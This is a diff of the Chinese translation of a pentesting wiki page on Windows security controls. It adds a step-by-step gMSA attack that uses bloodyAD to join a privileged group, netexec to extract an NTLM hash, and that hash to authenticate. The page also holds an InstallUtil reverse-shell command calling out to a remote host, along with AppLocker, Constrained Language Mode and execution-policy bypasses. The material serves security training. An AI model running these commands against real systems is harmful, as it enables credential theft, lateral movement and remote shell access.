- 常见的 **被信任** 的 [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可用于绕过 AppLocker。
|
||||
- **写得不严谨的规则也可能被绕过**
|
||||
- 例如,**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**,你可以在任何地方创建一个名为 `allowed` 的**文件夹**,它将被允许。
|
||||
- 组织通常会专注于**阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**,但会忽略 [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) 等 **其他** 可执行位置,例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
|
||||
- **几乎很少启用 DLL 强制执行**,因为它会给系统增加额外负载,并且需要大量测试以确保不会出现问题。因此使用 **DLLs 作为后门将有助于绕过 AppLocker**。
|
||||
- 你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中**执行 Powershell** 代码并绕过 AppLocker。更多信息请参见: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
|
||||
## 凭据存储
|
||||
## 凭证存储
|
||||
|
||||
### 安全账户管理器 (SAM)
|
||||
### Security Accounts Manager (SAM)
|
||||
|
||||
本地凭据存储在此文件中,密码经过哈希处理。
|
||||
本地凭证存在此文件中,密码为哈希值。
|
||||
|
||||
### 本地安全机构 (LSA) - LSASS
|
||||
### 本地安全权限 (LSA) - LSASS
|
||||
|
||||
**凭据**(哈希)被 **保存** 在此子系统的 **内存** 中,以实现单点登录的目的。\
|
||||
**LSA** 管理本地 **安全策略**(密码策略、用户权限...)、**身份验证**、**访问令牌**...\
|
||||
LSA 将是 **检查** 提供的凭据的 **SAM** 文件(用于本地登录)并 **与** **域控制器** 进行通信以验证域用户。
|
||||
这些**凭证**(哈希)被**保存**在该子系统的**内存**中,用于单点登录原因。\
|
||||
**LSA** 管理本地的**安全策略**(密码策略、用户权限……)、**认证**、**访问令牌**...\
|
||||
LSA 会**检查** SAM 文件中提供的凭证(用于本地登录),并与**域控制器**通信以验证域用户。
|
||||
|
||||
**凭据** 被 **保存** 在 **进程 LSASS** 中:Kerberos 票证、NT 和 LM 哈希、易于解密的密码。
|
||||
这些**凭证**被**保存在**进程 LSASS 中:Kerberos 票证、NT 和 LM 哈希、易被解密的密码。
|
||||
|
||||
### LSA 秘密
|
||||
### LSA secrets
|
||||
|
||||
LSA 可能会在磁盘上保存一些凭据:
|
||||
LSA 可能会将某些凭据保存到磁盘:
|
||||
|
||||
- Active Directory 的计算机账户密码(无法访问的域控制器)。
|
||||
- Windows 服务账户的密码
|
||||
- Active Directory 计算机帐户的密码(当域控制器不可达时)。
|
||||
- Windows 服务帐户的密码
|
||||
- 计划任务的密码
|
||||
- 更多(IIS 应用程序的密码...)
|
||||
- 更多(IIS 应用的密码...)
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
这是 Active Directory 的数据库。它仅存在于域控制器中。
|
||||
它是 Active Directory 的数据库。仅存在于域控制器上。
|
||||
|
||||
## Defender
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具,如 **`WinPEAS`**。然而,有方法可以 **绕过这些保护**。
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是在 Windows 10、Windows 11 以及 Windows Server 版本中可用的防病毒软件。它**阻止**常见的 pentesting 工具,例如 **`WinPEAS`**。然而,存在绕过这些防护的方法。
|
||||
|
||||
### 检查
|
||||
|
||||
要检查 **Defender** 的 **状态**,您可以执行 PS cmdlet **`Get-MpComputerStatus`**(检查 **`RealTimeProtectionEnabled`** 的值以了解它是否处于活动状态):
|
||||
要检查 **Defender** 的**状态**,你可以执行 PS cmdlet **`Get-MpComputerStatus`**(检查 **`RealTimeProtectionEnabled`** 的值以确认其是否激活):
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
|
||||
|
||||
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
|
||||
PSComputerName :
|
||||
</code></pre>
|
||||
|
||||
要枚举它,您还可以运行:
|
||||
要枚举它,你也可以运行:
|
||||
```bash
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
|
||||
wmic /namespace:\\root\securitycenter2 path antivirusproduct
|
||||
@ -103,75 +103,110 @@ sc query windefend
|
||||
```
|
||||
## 加密文件系统 (EFS)
|
||||
|
||||
EFS 通过加密保护文件,使用称为 **文件加密密钥 (FEK)** 的 **对称密钥**。该密钥使用用户的 **公钥** 进行加密,并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时,使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多细节可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
|
||||
EFS 通过加密来保护文件,使用称为 **File Encryption Key (FEK)** 的 **对称密钥**。该密钥用用户的 **公钥** 加密并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时,会使用用户数字证书对应的 **私钥** 从 $EFS 流中解密 FEK。更多细节见 [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**无需用户启动的解密场景** 包括:
|
||||
**无需用户主动操作的解密情形** 包括:
|
||||
|
||||
- 当文件或文件夹移动到非 EFS 文件系统(如 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table))时,它们会自动解密。
|
||||
- 通过 SMB/CIFS 协议在网络上传输的加密文件在传输前会被解密。
|
||||
- 当文件或文件夹移动到非 EFS 的文件系统(例如 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table))时,会被自动解密。
|
||||
- 通过 SMB/CIFS 协议通过网络传输加密文件时,会在传输前被解密。
|
||||
|
||||
这种加密方法允许所有者对加密文件进行 **透明访问**。然而,仅仅更改所有者的密码并登录并不能允许解密。
|
||||
该加密方式允许文件所有者对加密文件进行 **透明访问**。但仅仅更改所有者密码并登录并不会允许解密。
|
||||
|
||||
**关键要点**:
|
||||
**要点**:
|
||||
|
||||
- EFS 使用对称 FEK,使用用户的公钥加密。
|
||||
- 解密使用用户的私钥访问 FEK。
|
||||
- 在特定条件下会自动解密,例如复制到 FAT32 或网络传输。
|
||||
- 加密文件对所有者可访问,无需额外步骤。
|
||||
- EFS 使用对称 FEK,并用用户的公钥加密该 FEK。
|
||||
- 解密时使用用户的私钥以访问 FEK。
|
||||
- 在特定情况下(如复制到 FAT32 或网络传输)会发生自动解密。
|
||||
- 所有者可以无需额外步骤访问加密文件。
|
||||
|
||||
### 检查 EFS 信息
|
||||
### Check EFS info
|
||||
|
||||
检查 **用户** 是否 **使用** 了此 **服务**,检查此路径是否存在:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
检查某个 **用户** 是否 **使用过** 该 **服务**,可检查此路径是否存在:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
使用 cipher /c \<file\> 检查 **谁** 有 **访问** 文件的权限\
|
||||
您还可以在文件夹内使用 `cipher /e` 和 `cipher /d` 来 **加密** 和 **解密** 所有文件
|
||||
使用 cipher /c \<file\> 检查 **谁** 有权访问该文件。你也可以在文件夹内使用 `cipher /e` 和 `cipher /d` 来 **加密** 或 **解密** 所有文件。
|
||||
|
||||
### 解密 EFS 文件
|
||||
### Decrypting EFS files
|
||||
|
||||
#### 作为权限系统
|
||||
#### 使用 SYSTEM 权限
|
||||
|
||||
这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况,使用 `meterpreter` 会话可以模拟用户进程的令牌(`impersonate_token` 来自 `incognito`)。或者您可以直接 `migrate` 到用户的进程。
|
||||
此方法要求 **受害用户** 在主机上 **运行** 某个 **进程**。如果满足此条件,使用 `meterpreter` 会话可以模拟该用户进程的令牌(`impersonate_token` 来自 `incognito`)。或者你也可以 `migrate` 到该用户的进程。
|
||||
|
||||
#### 知道用户的密码
|
||||
#### 已知用户密码
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## 组管理服务账户 (gMSA)
|
||||
## 组托管服务帐户 (gMSA)
|
||||
|
||||
微软开发了 **组管理服务账户 (gMSA)** 以简化 IT 基础设施中服务账户的管理。与传统的服务账户(通常启用“**密码永不过期**”设置)不同,gMSA 提供了更安全和可管理的解决方案:
|
||||
Microsoft 开发了 **Group Managed Service Accounts (gMSA)**,以简化 IT 基础设施中服务帐户的管理。与常常启用 “Password never expire” 设置的传统服务帐户不同,gMSA 提供了更安全且更易管理的解决方案:
|
||||
|
||||
- **自动密码管理**:gMSA 使用复杂的 240 字符密码,自动根据域或计算机策略进行更改。此过程由微软的密钥分发服务 (KDC) 处理,消除了手动更新密码的需要。
|
||||
- **增强安全性**:这些账户免受锁定,并且不能用于交互式登录,从而增强了安全性。
|
||||
- **多主机支持**:gMSA 可以在多个主机之间共享,非常适合在多个服务器上运行的服务。
|
||||
- **计划任务能力**:与管理服务账户不同,gMSA 支持运行计划任务。
|
||||
- **简化 SPN 管理**:当计算机的 sAMaccount 详细信息或 DNS 名称发生更改时,系统会自动更新服务主体名称 (SPN),简化 SPN 管理。
|
||||
- **自动密码管理**:gMSA 使用复杂的 240 字符密码,并根据域或计算机策略自动更换。此过程由 Microsoft 的 Key Distribution Service (KDC) 处理,消除了手动更新密码的需求。
|
||||
- **增强的安全性**:这些帐户不会被锁定,并且不能用于交互式登录,提高了安全性。
|
||||
- **多主机支持**:gMSA 可以在多台主机之间共享,适用于在多台服务器上运行的服务。
|
||||
- **计划任务支持**:与 managed service accounts 不同,gMSA 支持运行计划任务。
|
||||
- **简化的 SPN 管理**:当计算机的 sAMAccount 信息或 DNS 名称发生变化时,系统会自动更新 Service Principal Name (SPN),简化了 SPN 管理。
|
||||
|
||||
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DC) 每 30 天自动重置。此密码是一个加密数据块,称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e),只能由授权管理员和安装 gMSA 的服务器检索,从而确保安全环境。要访问此信息,需要安全连接,如 LDAPS,或连接必须经过 'Sealing & Secure' 认证。
|
||||
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DCs) 每 30 天自动重置。该密码是一个称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据块,只能被授权的管理员以及安装了 gMSA 的服务器检索,以确保持久的安全环境。要访问此信息,需要使用诸如 LDAPS 的安全连接,或连接必须经过 ‘Sealing & Secure’ 认证。
|
||||
|
||||

|
||||
|
||||
您可以使用 [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:
|
||||
You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
|
||||
```
|
||||
/GMSAPasswordReader --AccountName jkohler
|
||||
```
|
||||
[**在此帖子中找到更多信息**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
|
||||
|
||||
### 滥用 ACL chaining 来 read gMSA managed password (GenericAll -> ReadGMSAPassword)
|
||||
|
||||
在许多环境中,低权限用户可以通过滥用配置不当的对象 ACL,在不破坏 DC 的情况下访问 gMSA 秘密:
|
||||
|
||||
- 你可控制的一个组(例如通过 GenericAll/GenericWrite)被授予对 gMSA 的 `ReadGMSAPassword` 权限。
|
||||
- 通过将自己添加到该组,你将继承通过 LDAP 读取 gMSA 的 `msDS-ManagedPassword` blob 的权限,并派生出可用的 NTLM 凭证。
|
||||
|
||||
典型工作流程:
|
||||
|
||||
1) 使用 BloodHound 发现路径,并将你的 foothold principals 标注为 Owned。查找如下边:
|
||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
||||
|
||||
2) 将自己添加到你控制的中间组(以 bloodyAD 为例):
|
||||
```bash
|
||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
||||
```
|
||||
3) 通过 LDAP 读取 gMSA 的托管密码并推导 NTLM 哈希。NetExec 自动化提取 `msDS-ManagedPassword` 并转换为 NTLM:
|
||||
```bash
|
||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
||||
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
||||
```
|
||||
4) 以 gMSA 身份使用 NTLM hash 进行身份验证(不需要 plaintext)。如果该账户位于 Remote Management Users,WinRM 将直接可用:
|
||||
```bash
|
||||
# SMB / WinRM as the gMSA using the NT hash
|
||||
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
```
|
||||
注意:
|
||||
- LDAP 对 `msDS-ManagedPassword` 的读取需要 sealing(例如 LDAPS/sign+seal)。工具会自动处理此项。
|
||||
- gMSAs 常常被授予如 WinRM 之类的本地权限;验证组成员身份(例如 Remote Management Users)以规划 lateral movement。
|
||||
- 如果你只需要该 blob 来自行计算 NTLM,请参见 MSDS-MANAGEDPASSWORD_BLOB structure。
|
||||
|
||||
|
||||
此外,请查看此[网页](https://cube0x0.github.io/Relaying-for-gMSA/)关于如何执行**NTLM中继攻击**以**读取** **gMSA**的**密码**。
|
||||
|
||||
## LAPS
|
||||
|
||||
**本地管理员密码解决方案 (LAPS)**,可从[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)下载,允许管理本地管理员密码。这些密码是**随机的**、唯一的,并且**定期更改**,集中存储在Active Directory中。对这些密码的访问通过ACL限制为授权用户。授予足够的权限后,可以读取本地管理员密码。
|
||||
**本地管理员密码解决方案 (LAPS)**,可从 [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) 下载,用于管理本地管理员密码。这些密码是**随机生成的**、唯一的,并且**定期更改**,集中存储在 Active Directory 中。对这些密码的访问通过 ACLs 限制为授权用户。若授予足够的权限,则可以读取本地管理员密码。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
{{#endref}}
|
||||
|
||||
## PS受限语言模式
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**受限语言模式**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **锁定了许多**有效使用PowerShell所需的功能,例如阻止COM对象,仅允许批准的.NET类型、基于XAML的工作流、PowerShell类等。
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **会锁定许多用于有效使用 PowerShell 的功能**,例如阻止 COM 对象、仅允许经批准的 .NET 类型、基于 XAML 的工作流、PowerShell 类等。
|
||||
|
||||
### **检查**
|
||||
```bash
|
||||
@ -183,22 +218,22 @@ $ExecutionContext.SessionState.LanguageMode
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
在当前的Windows中,该绕过方法将无法工作,但您可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)。\
|
||||
**要编译它,您可能需要** **_添加引用_** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
|
||||
在当前的 Windows 中那个 Bypass 无法工作,但你可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**要编译它你可能需要** **去** _**添加引用**_ -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并 **将项目更改为 .Net4.5**。
|
||||
|
||||
#### 直接绕过:
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
|
||||
```
|
||||
#### 反向 shell:
|
||||
#### Reverse shell:
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 来 **执行 Powershell** 代码在任何进程中并绕过受限模式。有关更多信息,请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
|
||||
你可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任意进程中 **执行 Powershell** 代码 并 bypass the constrained mode。更多信息请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
|
||||
## PS 执行策略
|
||||
## PS Execution Policy
|
||||
|
||||
默认情况下,它设置为 **restricted.** 绕过此策略的主要方法:
|
||||
默认情况下它被设置为 **restricted.** 绕过(bypass) 此策略的主要方法:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
@ -218,35 +253,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
|
||||
9º Use EncodeCommand
|
||||
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
||||
```
|
||||
更多内容可以在 [这里](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) 找到。
|
||||
更多内容请见 [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## 安全支持提供者接口 (SSPI)
|
||||
## Security Support Provider Interface (SSPI)
|
||||
|
||||
是用于验证用户的 API。
|
||||
是用于对用户进行身份验证的 API。
|
||||
|
||||
SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后,SSPI 将协商使用哪个认证协议,这些认证协议称为安全支持提供者 (SSP),以 DLL 形式位于每台 Windows 机器内部,且两台机器必须支持相同的协议才能进行通信。
|
||||
SSPI 负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后 SSPI 将协商将使用哪个身份验证协议,这些身份验证协议称为 Security Support Provider (SSP),以 DLL 的形式位于每台 Windows 机器内部,且双方必须都支持相同的 SSP 才能通信。
|
||||
|
||||
### 主要 SSP
|
||||
### 主要 SSPs
|
||||
|
||||
- **Kerberos**: 首选
|
||||
- **Kerberos**: The preferred one
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
- **NTLMv1** 和 **NTLMv2**: 兼容性原因
|
||||
- **NTLMv1** and **NTLMv2**: Compatibility reasons
|
||||
- %windir%\Windows\System32\msv1_0.dll
|
||||
- **Digest**: Web 服务器和 LDAP,密码以 MD5 哈希形式存在
|
||||
- **Digest**: Web servers and LDAP, password in form of a MD5 hash
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel**: SSL 和 TLS
|
||||
- **Schannel**: SSL and TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
- **Negotiate**: 用于协商使用的协议(Kerberos 或 NTLM,默认是 Kerberos)
|
||||
- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### 协商可能提供多种方法或仅提供一种。
|
||||
#### The negotiation could offer several methods or only one.
|
||||
|
||||
## UAC - 用户帐户控制
|
||||
|
||||
[用户帐户控制 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一个启用 **提升活动的同意提示** 的功能。
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一个功能,可在执行提升权限的活动时启用 **同意提示**。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
|
||||
- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user